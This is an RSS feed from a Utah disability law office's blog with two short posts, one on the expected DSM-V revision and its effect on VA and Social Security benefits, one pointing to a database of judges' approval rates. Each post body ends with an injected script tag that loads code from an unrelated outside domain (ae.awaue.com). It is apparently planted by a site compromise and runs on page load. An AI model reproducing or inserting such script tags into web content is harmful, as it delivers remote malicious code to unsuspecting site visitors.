<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ban Law Office PC - Utah Veterans Disability, Utah Environmental Law &#187; Social Security News</title>
	<atom:link href="http://www.banlawoffice.com/category/ssdisability/social-security-news/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.banlawoffice.com</link>
	<description>representation of the disabled • Call 1-801-532-2447 • no fee unless you win </description>
	<lastBuildDate>Sun, 11 Jul 2010 21:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>New DSM-V to be Released Soon</title>
		<link>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/</link>
		<comments>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 18:29:01 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Social Security News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=762</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The newest version of the mental illness bible, the Diagnostic and Statistical Manual on Mental Illnesses will probably be released in 2013.  This is a critical document both for the VA and Social Security Administration since they both rely on this manual that outlines the diagnostic criteria used to classify and award benefits for the most common mental illnesses.  It should be expected that any amendments or changes used to classify the most common illnesses would cause amendment to various regulations controlling listings or ratings for mood or affective disorders that are most frequently seen for disability.  The document is drafted by the American Psychiatric Association and for the first time includes gambling and eating disorders, but not sex and gambling addiction disorders.  The last time the manual was revised was 1994.  The <a href="http://www.dsm5.org/Pages/Default.aspx"><font color ="blue">manual </a></font>is actually out for public comment until April.  Also its expected that the manual will consolidate various disorders such as for autism that will be combined with Asberger&#8217;s Syndrome&#8211;typically considered to be a more mild form of Autism.  A category of autism spectrum will be combine these impairments into one category.  This is likely to be a source of contention.  Given the nature of mental illness its likely that any revisions will always be met with resistance since its very difficult to objectively identify the existence or the severity of any given mental illness.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Search Approval Rates on ALJs</title>
		<link>http://www.banlawoffice.com/2009/08/22/search-approval-rates-on-aljs/</link>
		<comments>http://www.banlawoffice.com/2009/08/22/search-approval-rates-on-aljs/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 21:27:11 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Social Security News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=547</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">If your curious as to how often your local Administrative Law Judge approves Social Security Disability Cases you can search <em>The Oregonian&#8217;s</em> database on approval rates <a href="http://www.oregonlive.com/special/index.ssf/2008/12/social_security_database.html"><font color ="blue">here</a></font>.  Its no surprise that there is wide disparity among judges.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/08/22/search-approval-rates-on-aljs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
